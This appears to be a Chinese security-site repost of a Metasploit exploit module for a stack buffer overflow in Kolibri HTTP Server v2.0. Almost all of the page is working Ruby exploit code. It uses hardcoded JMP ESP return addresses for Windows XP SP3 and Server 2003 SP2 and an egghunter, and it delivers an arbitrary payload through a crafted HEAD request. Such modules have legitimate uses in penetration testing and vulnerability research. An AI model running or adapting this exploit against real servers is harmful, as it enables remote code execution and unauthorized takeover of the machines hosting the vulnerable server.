首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Kolibri <= v2.0 HTTP Server HEAD Buffer Overflow
来源:http://www.metasploit.com 作者:mr_me 发布时间:2011-03-15  

##
# $Id: kolibri_http.rb 10887 2011-08-03 12:19:19Z mr_me $

##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 HttpFingerprint = { :pattern => [ /kolibri-2\.0/ ] }

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::Egghunter

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Kolibri <= v2.0 HTTP Server HEAD Buffer Overflow',
   'Description'    => %q{This exploits a stack buffer overflow in version 2 of the Kolibri HTTP server.},
   'Author'         =>
     [
      'mr_me <steventhomasseeley@gmail.com>', # msf
      'TheLeader' # original exploit
     ],
   'Version'        => '$Revision: 10887 $',
   'References'     =>
    [
     [ 'CVE', '2002-2268' ],
     [ 'OSVDB', '70808' ],
     [ 'BID', '6289' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/15834/' ],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'       => 3000,
     'DisableNops' => true,
     'BadChars'    => "\x00\x0d\x0a\x3d\x20\x3f",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP sp3', { 'Ret' => 0x7E429353 } ] ,
     [ 'Windows Server 2003 sp2', { 'Ret' => 0x76F73BC3 } ] ,
    ],
   'DisclosureDate' => 'Dec 26 2010',
   'DefaultTarget'  => 0))
 end

 def check
  info = http_fingerprint
  if info and (info =~ /kolibri-2\.0/)
   return Exploit::CheckCode::Vulnerable
  end
  Exploit::CheckCode::Safe
 end

 def exploit
  #7E429353    FFE4            JMP     ESP
  # For a reliable and large payload, we use an egg hunter
  # and direct RET to execute code
  print_status("Sending request...")
  eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars)
  sploit = Rex::Text.rand_text_alphanumeric(515) + [target.ret].pack('V')
  sploit << eh_stub
  send_request_raw({
   'uri'     => "/" + sploit,
   'version' => '1.1',
   'method'  => 'HEAD',
   'headers' => {'Content-Type' => eh_egg},
  })

  handler
 end

end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·ABBS Audio Media Player Buffer
·checkview v1.1 for iPhone / iP
·Opera Mobile 10.1 In Nokia N97
·Linux <= 2.6.37-rc1 serial_cor
·VLC Media Player 1.0.5 Crash P
·Android 2.0 ,2.1, 2.1.1 WebKit
·Rails 3.0.5 Log File Injection
·ABBS Audio Media Player 3.0 .l
·Accellion File Transfer Applia
·ABBS Electronic Flash Cards 2.
·Foxit PDF Reader 4.2 Javascrip
·Foxit PDF Reader 4.2 Javascrip
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved